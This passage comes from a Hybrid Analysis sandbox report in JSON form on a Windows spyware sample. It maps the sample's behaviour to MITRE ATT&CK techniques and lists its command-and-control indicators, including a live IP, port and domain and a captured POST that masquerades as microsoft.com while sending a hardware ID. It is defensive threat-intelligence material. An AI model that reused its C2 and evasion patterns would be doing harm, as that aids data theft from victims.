structure"}],"sources":[{"report_type":"sandbox","report_id":"6a4887a538d63e2e01077b74"}]},{"tactic":"Defense Evasion","technique":"Execution Guardrails","attack_id":"T1480","attack_id_wiki":"https://attack.mitre.org/techniques/T1480","identifiers":[{"type":"informative","value":"Shows ability to use execution guardrails"}],"sources":[{"report_type":"sandbox","report_id":"6a4887a538d63e2e01077b74"}]},{"tactic":"Defense Evasion","technique":"Deobfuscate/Decode Files or Information","attack_id":"T1140","attack_id_wiki":"https://attack.mitre.org/techniques/T1140","identifiers":[{"type":"informative","value":"Shows ability to deobfuscate/decode files or information"}],"sources":[{"report_type":"sandbox","report_id":"6a4887a538d63e2e01077b74"}]},{"tactic":"Credential Access","technique":"OS Credential Dumping","attack_id":"T1003","attack_id_wiki":"https://attack.mitre.org/techniques/T1003","identifiers":[{"type":"informative","value":"Attempts to invoke APIs commonly associated with credential theft and data exfiltration functionality"}],"sources":[{"report_type":"sandbox","report_id":"6a4887a538d63e2e01077b74"}]},{"tactic":"Discovery","technique":"System Information Discovery","attack_id":"T1082","attack_id_wiki":"https://attack.mitre.org/techniques/T1082","identifiers":[{"type":"informative","value":"Calls an API typically used to get system version information"},{"type":"informative","value":"Contains ability to read software policies"},{"type":"informative","value":"Reads the active computer name"},{"type":"informative","value":"Able to retrieve information about the current system (API string)"},{"type":"informative","value":"Contains ability to retrieve a module handle (API string)"},{"type":"informative","value":"Contains ability to retrieve volume information (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve computer name"},{"type":"informative","value":"Contains ability to retrieve the OS information (API string)"},{"type":"informative","value":"Contains ability to retrieve the NetBIOS name of the local computer (API string)"},{"type":"informative","value":"Calls an API typically used to get product type"},{"type":"informative","value":"Able to retrieve geographical location information"},{"type":"informative","value":"Able to discover operating system information (API string)"},{"type":"informative","value":"Found system command-related strings"},{"type":"informative","value":"Contains ability to retrieve the host's architecture (API string)"},{"type":"informative","value":"Attempts to call APIs to gather system and hardware detail"},{"type":"informative","value":"Reads information about supported languages"}],"sources":[{"report_type":"sandbox","report_id":"6a4887a538d63e2e01077b74"}]},{"tactic":"Discovery","technique":"Process Discovery","attack_id":"T1057","attack_id_wiki":"https://attack.mitre.org/techniques/T1057","identifiers":[{"type":"informative","value":"Queries basic information of the specified process"},{"type":"informative","value":"Queries process information"},{"type":"informative","value":"Contains ability to enumerate process and/or its information (API string)"},{"type":"informative","value":"Calls an API typically used for taking snapshot of the specified processes"}],"sources":[{"report_type":"sandbox","report_id":"6a4887a538d63e2e01077b74"}]},{"tactic":"Discovery","technique":"File and Directory Discovery","attack_id":"T1083","attack_id_wiki":"https://attack.mitre.org/techniques/T1083","identifiers":[{"type":"informative","value":"Contains ability to retrieve file and directory information (API string)"},{"type":"informative","value":"Able to rename or move file/directory (API string)"},{"type":"informative","value":"Contains ability to enumerate files on disk (API string)"},{"type":"informative","value":"Touches files"},{"type":"informative","value":"Tries to access non-existent files (executable)"},{"type":"informative","value":"Tries to access non-existent files (non-executable)"}],"sources":[{"report_type":"sandbox","report_id":"6a4887a538d63e2e01077b74"}]},{"tactic":"Discovery","technique":"System Network Configuration Discovery","attack_id":"T1016","attack_id_wiki":"https://attack.mitre.org/techniques/T1016","identifiers":[{"type":"informative","value":"Contains ability to free the memory used by network management functions (API string)"},{"type":"informative","value":"Able to determine NetBIOS or DNS name associated with the local computer"},{"type":"informative","value":"Contains ability to retrieve the local name for a socket (API string)"},{"type":"informative","value":"Contains ability to query network adapter information (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a4887a538d63e2e01077b74"}]},{"tactic":"Discovery","technique":"Query Registry","attack_id":"T1012","attack_id_wiki":"https://attack.mitre.org/techniques/T1012","identifiers":[{"type":"suspicious","value":"Monitors specific registry key for changes"},{"type":"informative","value":"Able to query registry keys (API string)"},{"type":"informative","value":"Opens registry keys"},{"type":"informative","value":"Queries registry keys"}],"sources":[{"report_type":"sandbox","report_id":"6a4887a538d63e2e01077b74"}]},{"tactic":"Discovery","technique":"System Owner/User Discovery","attack_id":"T1033","attack_id_wiki":"https://attack.mitre.org/techniques/T1033","identifiers":[{"type":"informative","value":"Able to retrieve usernames and/or user information (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve user name"}],"sources":[{"report_type":"sandbox","report_id":"6a4887a538d63e2e01077b74"}]},{"tactic":"Discovery","technique":"Local Account","attack_id":"T1087.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1087/001","identifiers":[{"type":"informative","value":"Contains ability to retrieve information about user accounts on a server (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a4887a538d63e2e01077b74"}]},{"tactic":"Discovery","technique":"System Service Discovery","attack_id":"T1007","attack_id_wiki":"https://attack.mitre.org/techniques/T1007","identifiers":[{"type":"informative","value":"Able to enumerate service (API string)"},{"type":"informative","value":"Able to query service configuration on system (API string)"},{"type":"informative","value":"Queries services related registry keys"}],"sources":[{"report_type":"sandbox","report_id":"6a4887a538d63e2e01077b74"}]},{"tactic":"Discovery","technique":"Account Discovery","attack_id":"T1087","attack_id_wiki":"https://attack.mitre.org/techniques/T1087","identifiers":[{"type":"informative","value":"Contains ability to retrieve SID for the specified name (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a4887a538d63e2e01077b74"}]},{"tactic":"Discovery","technique":"Domain Groups","attack_id":"T1069.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1069/002","identifiers":[{"type":"informative","value":"Able to enumerate permission groups in the domain"}],"sources":[{"report_type":"sandbox","report_id":"6a4887a538d63e2e01077b74"}]},{"tactic":"Discovery","technique":"System Time Discovery","attack_id":"T1124","attack_id_wiki":"https://attack.mitre.org/techniques/T1124","identifiers":[{"type":"informative","value":"Contains ability to retrieve machine timezone (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a4887a538d63e2e01077b74"}]},{"tactic":"Lateral Movement","technique":"Lateral Tool Transfer","attack_id":"T1570","attack_id_wiki":"https://attack.mitre.org/techniques/T1570","identifiers":[{"type":"informative","value":"Contains ability to move file or directory (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a4887a538d63e2e01077b74"}]},{"tactic":"Collection","technique":"Local Data Staging","attack_id":"T1074.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1074/001","identifiers":[{"type":"informative","value":"Contains ability to create directories (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a4887a538d63e2e01077b74"}]},{"tactic":"Collection","technique":"Clipboard Data","attack_id":"T1115","attack_id_wiki":"https://attack.mitre.org/techniques/T1115","identifiers":[{"type":"informative","value":"Able to capture drag-drop file operations"}],"sources":[{"report_type":"sandbox","report_id":"6a4887a538d63e2e01077b74"}]},{"tactic":"Collection","technique":"Automated Collection","attack_id":"T1119","attack_id_wiki":"https://attack.mitre.org/techniques/T1119","identifiers":[{"type":"informative","value":"Shows ability to send encrypted data to the internet"}],"sources":[{"report_type":"sandbox","report_id":"6a4887a538d63e2e01077b74"}]},{"tactic":"Command and Control","technique":"Ingress Tool Transfer","attack_id":"T1105","attack_id_wiki":"https://attack.mitre.org/techniques/T1105","identifiers":[{"type":"informative","value":"Contains ability to write files (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a4887a538d63e2e01077b74"}]},{"tactic":"Command and Control","technique":"Application Layer Protocol","attack_id":"T1071","attack_id_wiki":"https://attack.mitre.org/techniques/T1071","identifiers":[{"type":"informative","value":"Found potential URL in binary/memory"},{"type":"informative","value":"Contains ability to communicate with network (API string)"},{"type":"informative","value":"Contains references to network communication API (string)"},{"type":"informative","value":"Contacts server"},{"type":"informative","value":"Contacts domains"}],"sources":[{"report_type":"sandbox","report_id":"6a4887a538d63e2e01077b74"}]},{"tactic":"Command and Control","technique":"Non-Application Layer Protocol","attack_id":"T1095","attack_id_wiki":"https://attack.mitre.org/techniques/T1095","identifiers":[{"type":"informative","value":"Contains ability to communicate with C2 using Sockets (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a4887a538d63e2e01077b74"}]},{"tactic":"Command and Control","technique":"Non-Standard Port","attack_id":"T1571","attack_id_wiki":"https://attack.mitre.org/techniques/T1571","identifiers":[{"type":"informative","value":"References server/domain address with port number"},{"type":"malicious","value":"Uses network protocols on unusual ports"},{"type":"informative","value":"Contains ability to open a port and listen for incoming connection (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a4887a538d63e2e01077b74"}]},{"tactic":"Command and Control","technique":"Encrypted Channel","attack_id":"T1573","attack_id_wiki":"https://attack.mitre.org/techniques/T1573","identifiers":[{"type":"informative","value":"Able to use Microsoft's Enhanced Cryptographic Provider"}],"sources":[{"report_type":"sandbox","report_id":"6a4887a538d63e2e01077b74"}]},{"tactic":"Command and Control","technique":"Web Protocols","attack_id":"T1071.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/001","identifiers":[{"type":"suspicious","value":"Employs a browser-related User Agent without launching browser"},{"type":"informative","value":"Calls an API typically used to send the specified request to the HTTP server"},{"type":"informative","value":"Calls an API typically used to to receive the response to a HTTP requests"},{"type":"informative","value":"Communicates with HTTP web server (GET/POST requests)"}],"sources":[{"report_type":"sandbox","report_id":"6a4887a538d63e2e01077b74"}]},{"tactic":"Command and Control","technique":"Data Encoding","attack_id":"T1132","attack_id_wiki":"https://attack.mitre.org/techniques/T1132","identifiers":[{"type":"informative","value":"HTTP requests contain Base64 strings"}],"sources":[{"report_type":"sandbox","report_id":"6a4887a538d63e2e01077b74"}]},{"tactic":"Command and Control","technique":"DNS","attack_id":"T1071.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/004","identifiers":[{"type":"informative","value":"Queries DNS server"}],"sources":[{"report_type":"sandbox","report_id":"6a4887a538d63e2e01077b74"}]},{"tactic":"Exfiltration","technique":"Exfiltration Over C2 Channel","attack_id":"T1041","attack_id_wiki":"https://attack.mitre.org/techniques/T1041","identifiers":[{"type":"malicious","value":"Collects system information using POST request"},{"type":"suspicious","value":"POSTs data to a web server"}],"sources":[{"report_type":"sandbox","report_id":"6a4887a538d63e2e01077b74"}]},{"tactic":"Impact","technique":"Service Stop","attack_id":"T1489","attack_id_wiki":"https://attack.mitre.org/techniques/T1489","identifiers":[{"type":"informative","value":"Contains ability to terminate a process (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a4887a538d63e2e01077b74"}]},{"tactic":"Impact","technique":"System Shutdown/Reboot","attack_id":"T1529","attack_id_wiki":"https://attack.mitre.org/techniques/T1529","identifiers":[{"type":"informative","value":"Contains ability to shutdown system"}],"sources":[{"report_type":"sandbox","report_id":"6a4887a538d63e2e01077b74"}]},{"tactic":"Impact","technique":"Account Access Removal","attack_id":"T1531","attack_id_wiki":"https://attack.mitre.org/techniques/T1531","identifiers":[{"type":"informative","value":"Contains ability to delete a user account from a server (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a4887a538d63e2e01077b74"}]}],"sandbox_signatures":[{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to enumerate permission groups in the domain","description":"file/memory contains long string with (Indicator: \"netusergetlocalgroups\"; File: \"be5b469852253e4c60925777c114b46e7fca797bd21dc39b2f3774589ce0909a.bin\")","origin":"File/Memory","mitre_attack_id":"T1069.002","relevance":1,"id":"string-981","sources":[{"report_type":"sandbox","report_id":"6a4887a538d63e2e01077b74"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to inject code into another process (API string)","description":"Found reference to API \"CreateThread\" (Indicator: \"CreateThread\"; File: \"be5b469852253e4c60925777c114b46e7fca797bd21dc39b2f3774589ce0909a.bin\")\n Found reference to API \"VirtualAlloc\" (Indicator: \"VirtualAlloc\"; File: \"be5b469852253e4c60925777c114b46e7fca797bd21dc39b2f3774589ce0909a.bin\")\n Found reference to API \"VirtualFree\" (Indicator: \"VirtualFree\"; File: \"be5b469852253e4c60925777c114b46e7fca797bd21dc39b2f3774589ce0909a.bin\")\n file/memory contains long string with (Indicator: \"VirtualAlloc\"; File: \"be5b469852253e4c60925777c114b46e7fca797bd21dc39b2f3774589ce0909a.bin\")\n file/memory contains long string with (Indicator: \"VirtualFree\"; File: \"be5b469852253e4c60925777c114b46e7fca797bd21dc39b2f3774589ce0909a.bin\")","origin":"File/Memory","mitre_attack_id":"T1055","relevance":1,"id":"string-92","sources":[{"report_type":"sandbox","report_id":"6a4887a538d63e2e01077b74"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to modify thread functionality – possible hijack (API string)","description":"Found reference to API \"GetThreadContext\" (Indicator: \"GetThreadContext\"; File: \"be5b469852253e4c60925777c114b46e7fca797bd21dc39b2f3774589ce0909a.bin\")\n Found reference to API \"SuspendThread\" (Indicator: \"SuspendThread\"; File: \"be5b469852253e4c60925777c114b46e7fca797bd21dc39b2f3774589ce0909a.bin\")\n Found reference to API \"SetThreadContext\" (Indicator: \"SetThreadContext\"; File: \"be5b469852253e4c60925777c114b46e7fca797bd21dc39b2f3774589ce0909a.bin\")\n Found reference to API \"ResumeThread\" (Indicator: \"ResumeThread\"; File: \"be5b469852253e4c60925777c114b46e7fca797bd21dc39b2f3774589ce0909a.bin\")\n file/memory contains long string with (Indicator: \"OpenThread\"; File: \"be5b469852253e4c60925777c114b46e7fca797bd21dc39b2f3774589ce0909a.bin\")","origin":"File/Memory","mitre_attack_id":"T1055.003","relevance":3,"id":"string-309","sources":[{"report_type":"sandbox","report_id":"6a4887a538d63e2e01077b74"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to delay execution by waiting for signal/timeout (API string)","description":"$25","origin":"File/Memory","mitre_attack_id":"T1497.003","relevance":1,"id":"string-226","sources":[{"report_type":"sandbox","report_id":"6a4887a538d63e2e01077b74"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to impersonate access tokens (API string)","description":"file/memory contains long string with (Indicator: \"OpenThreadToken\"; File: \"be5b469852253e4c60925777c114b46e7fca797bd21dc39b2f3774589ce0909a.bin\")\n file/memory contains long string with (Indicator: \"OpenProcessToken\"; File: \"be5b469852253e4c60925777c114b46e7fca797bd21dc39b2f3774589ce0909a.bin\")","origin":"File/Memory","mitre_attack_id":"T1134.001","relevance":1,"id":"string-306","sources":[{"report_type":"sandbox","report_id":"6a4887a538d63e2e01077b74"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to load/free library (API string)","description":"$26","origin":"File/Memory","mitre_attack_id":"T1055.001","relevance":1,"id":"string-318","sources":[{"report_type":"sandbox","report_id":"6a4887a538d63e2e01077b74"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to modify registry key/value (API string)","description":"file/memory contains long string with (Indicator: \"RegSetValue\"; File: \"be5b469852253e4c60925777c114b46e7fca797bd21dc39b2f3774589ce0909a.bin\")","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-304","sources":[{"report_type":"sandbox","report_id":"6a4887a538d63e2e01077b74"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to open a service (API string)","description":"file/memory contains long string with (Indicator: \"OpenService\"; File: \"be5b469852253e4c60925777c114b46e7fca797bd21dc39b2f3774589ce0909a.bin\")","origin":"File/Memory","mitre_attack_id":"T1569.002","relevance":1,"id":"string-544","sources":[{"report_type":"sandbox","report_id":"6a4887a538d63e2e01077b74"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to set file time (API string)","description":"file/memory contains long string with (Indicator: \"SetFileTime\"; File: \"be5b469852253e4c60925777c114b46e7fca797bd21dc39b2f3774589ce0909a.bin\")","origin":"File/Memory","mitre_attack_id":"T1070.006","relevance":1,"id":"string-409","sources":[{"report_type":"sandbox","report_id":"6a4887a538d63e2e01077b74"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to use Cryptographic classes","description":"Found reference to \"runtime.useAeshash\" (Indicator: \"Aes\"; File: \"be5b469852253e4c60925777c114b46e7fca797bd21dc39b2f3774589ce0909a.bin\")","origin":"File/Memory","mitre_attack_id":"T1027","relevance":2,"id":"string-138","sources":[{"report_type":"sandbox","report_id":"6a4887a538d63e2e01077b74"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Queries process information","description":"\" tE!\"","origin":"Static Parser","mitre_attack_id":"T1027.002","relevance":10,"id":"static-18","sources":[{"report_type":"sandbox","report_id":"6a4887a538d63e2e01077b74"}]},{"level":"suspicious","category":"Environment Awareness","name":"Queries process mitigation policy via NtQueryInformationProcess","description":"\"C:\\be5b469852253e4c60925777c114b46e7fca797bd21dc39b2f3774589ce0909a.bin.exe\" queried ProcessMitigationPolicy","origin":"API Call","mitre_attack_id":"T1497.001","relevance":3,"id":"api-323","sources":[{"report_type":"sandbox","report_id":"6a4887a538d63e2e01077b74"}]},{"level":"suspicious","category":"External Systems","name":"Sample detected by CrowdStrike Static Analysis and ML with relatively low confidence","description":"CrowdStrike Static Analysis and ML (QuickScan) yielded detection: win/malicious_confidence_70% (D)","origin":"External System","relevance":10,"id":"avtest-9","sources":[{"report_type":"sandbox","report_id":"6a4887a538d63e2e01077b74"}]},{"level":"suspicious","category":"External Systems","name":"Sample was identified as malicious by at least one Antivirus engine","description":"3/26 Antivirus vendors marked sample as malicious (11% detection rate)","origin":"External System","id":"avtest-0","sources":[{"report_type":"sandbox","report_id":"6a4887a538d63e2e01077b74"}]},{"level":"suspicious","category":"General","name":"POSTs data to a web server","description":"$38","origin":"Network Traffic","mitre_attack_id":"T1041","relevance":5,"id":"network-4","sources":[{"report_type":"sandbox","report_id":"6a4887a538d63e2e01077b74"}]},{"level":"suspicious","category":"Installation/Persistence","name":"Monitors specific registry key for changes","description":"\" \"tag=6ed07eee8b090ad8c77052912c8a29a6&exp=1782913884&hwid=e606e117485d48d997316a9fba5c156b\"","origin":"Network Traffic","mitre_attack_id":"T1041","relevance":10,"id":"network-40","sources":[{"report_type":"sandbox","report_id":"6a4887a538d63e2e01077b74"}]}],"incidents":[{"name":"Spyware","details_count":2,"details":[{"detail":"POSTs data to a web server"},{"detail":"Collects system information using POST request"}],"sources":[{"report_type":"sandbox","report_id":"6a4887a538d63e2e01077b74"}]},{"name":"Network Behavior","details_count":1,"details":[{"detail":"Contacts 2 domains and 2 hosts"}],"sources":[{"report_type":"sandbox","report_id":"6a4887a538d63e2e01077b74"}]}]},"activity":{"stats":{"process_count":1,"spawned_processes_count":1,"injected_processes_count":0,"script_calls_count":0,"mutex_created_count":2,"imported_dlls_count":47,"dropped_files_count":0,"extracted_files_count":0,"files_written_count":1,"files_deleted_count":0,"registry_keys_created_count":1,"registry_keys_modified_count":0,"registry_keys_deleted_count":0,"registry_keys_opened_count":0,"registry_keys_queried_count":0,"registry_operations_count":1,"embedded_ips_count":0,"embedded_domains_count":0,"embedded_urls_count":0,"contacted_hosts_count":1,"dns_resolutions_count":2,"contacted_urls_count":1,"http_requests_count":1},"behavior_tags":["new_domain","malicious"],"sample_flags":["Network Traffic"],"sandbox_reports":[{"id":"6a4887a538d63e2e01077b74","environment_id":160,"environment_description":"Windows 10 64 bit","state":"SUCCESS","verdict":"malicious","threat_score":87,"malware_family":"W64.Evo","contacted_countries":["SGP"],"submit_name":"be5b469852253e4c60925777c114b46e7fca797bd21dc39b2f3774589ce0909a.bin","analysis_start_time":"2026-07-04T04:10:14+00:00","indicators_count":{"informative":130,"suspicious":19,"malicious":4},"tags":["Network Traffic"],"is_in_unified_schema":true}],"network_activity":{"contacted_hosts":[{"address":"167.71.217.41","port":7538,"protocol":"TCP","country":"Singapore","sources":[{"report_type":"sandbox","report_id":"6a4887a538d63e2e01077b74"}]}],"dns_resolutions":[{"domain":"microsoft.com","country":"-","sources":[{"report_type":"sandbox","report_id":"6a4887a538d63e2e01077b74"}]},{"domain":"tolail.xyz","address":"167.71.217.41","ttl":300,"country":"Singapore","sources":[{"report_type":"sandbox","report_id":"6a4887a538d63e2e01077b74"}]}],"http_requests":[{"host":"microsoft.com","host_ip":"167.71.217.41:7538","url":"/","method":"POST","response_code":"200","response_phrase":"OK","header":"POST / HTTP/1.1\nCache-Control: no-cache\nConnection: Keep-Alive\nPragma: no-cache\nContent-Type: application/x-www-form-urlencoded\nHost: microsoft.com\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36\nContent-Length: 45","sources":[{"report_type":"sandbox","report_id":"6a4887a538d63e2e01077b74"}]}]},"process_activity":{"sources":[{"report_type":"sandbox","report_id":"6a4887a538d63e2e01077b74"}],"processes":[{"pid":7240,"ppid":0,"name":"be5b469852253e4c60925777c114b46e7fca797bd21dc39b2f3774589ce0909a.bin.exe","command_line":"","sha256":"be5b469852253e4c60925777c114b46e7fca797bd21dc39b2f3774589ce0909a","normalized_path":"C:\\be5b469852253e4c60925777c114b46e7fca797bd21dc39b2f3774589ce0909a.bin.exe","uid":"00000000-00007240","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABH0lEQVR4Xu2UXWrCQBCAQymICEUQz2qxLVTUB8HnwoKnkdIr1OQAOUD+k5eREdYuQ2YzWZJQMAMfvuX7Zgf0vHHG+S+zPxxhSKi/t4Dz90/tL/XfAsIwHAQ2oKqqXijL8k5RFHwALUXwA97qV0yTvDHgS53umAHLXQCLbQDzTQAvnz7MPnyYvvswebvA8/oCT69/AUopljzP7QEUHSCRmy9QtznKnQMk8k5egDuBRI7YNkeyLLMHUHSARK4D6NYmzgESuQ7gNtdYA7gTSOQIiunWJmma2gMoOkAi1wHc5ih3DpDIEZTSrVu9AHcCKbbNkSRJ7AEUl4C6rbW89wDb5oMGcPI4jtsHNP23N93clDsFdCmPoogPGBLqH2ecx50rVs0alvIcXXoAAAAASUVORK5CYII="}],"all_imported_dlls":["winhttp.dll","uxtheme.dll","mswsock.dll","rasadhlp.dll","VxSSL64.dll","ole32.dll","combase.dll","wbemcomn.dll","webio.dll","winnsi.dll","OnDemandConnRouteHelper.dll","advapi32.dll","imm32.dll","bcrypt.dll","fastprox.dll","FWPUCLNT.DLL","gdi32full.dll","ntdll.dll","user32.dll","gdi32.dll","cryptsp.dll","cfgmgr32.dll","clbcatq.dll","wbemsvc.dll","KernelBase.dll","ucrtbase.dll","sechost.dll","bcryptprimitives.dll","kernel.appcore.dll","sspicli.dll","dnsapi.dll","msvcp_win.dll","kernel32.dll","win32u.dll","apphelp.dll","ws2_32.dll","winmm.dll","powrprof.dll","rpcrt4.dll","fltLib.dll","shlwapi.dll","wbemprox.dll","IPHLPAPI.DLL","nsi.dll","msvcrt.dll","oleaut32.dll","winmmbase.dll"]},"file_activity":{"dropped_files":null,"extracted_files":null,"files_written":[{"path":"\\Global??\\FltMgrMsg","sources":[{"report_type":"sandbox","report_id":"6a4887a538d63e2e01077b74"}]}],"files_deleted":null},"registry_activity":{"keys_created":[{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\WBEM\\CIMOM\\","sources":[{"report_type":"sandbox","report_id":"6a4887a538d63e2e01077b74"}]}],"keys_modified":null,"keys_deleted":null},"mutex_activity":{"mutex_created":[{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:7240:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a4887a538d63e2e01077b74"}]},{"name":"SM0:7240:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a4887a538d63e2e01077b74"}]}]}},"report_ids":{"sandbox_job_ids":["6a4887a538d63e2e01077b74"]}}}]]}] 1e:null 22:[["$","title","0",{"children":"Malicious Win/malicious_confidence_70% Sample be5b46985225… — Score 87/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","1",{"name":"description","content":"Malicious verdict for sample be5b46985225…. Malware family: Win/malicious_confidence_70%. Threat score 87/100. 4/27 AV engines flagged this file. 4 malicious and 10 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","2",{"name":"robots","content":"index, follow"}],["$","link","3",{"rel":"canonical","href":"https://www.hybrid-analysis.com/sample/be5b469852253e4c60925777c114b46e7fca797bd21dc39b2f3774589ce0909a"}],["$","meta","4",{"property":"og:title","content":"Malicious Win/malicious_confidence_70% Sample be5b46985225… — Score 87/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","5",{"property":"og:description","content":"Malicious verdict for sample be5b46985225…. Malware family: Win/malicious_confidence_70%. Threat score 87/100. 4/27 AV engines flagged this file. 4 malicious and 10 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","6",{"property":"og:url","content":"https://www.hybrid-analysis.com/sample/be5b469852253e4c60925777c114b46e7fca797bd21dc39b2f3774589ce0909a"}],["$","meta","7",{"name":"twitter:card","content":"summary"}],["$","meta","8",{"name":"twitter:title","content":"Malicious Win/malicious_confidence_70% Sample be5b46985225… — Score 87/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","9",{"name":"twitter:description","content":"Malicious verdict for sample be5b46985225…. Malware family: Win/malicious_confidence_70%. Threat score 87/100. 4/27 AV engines flagged this file. 4 malicious and 10 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","link","10",{"rel":"icon","href":"/favicon.svg"}],["$","$L39","11",{}]]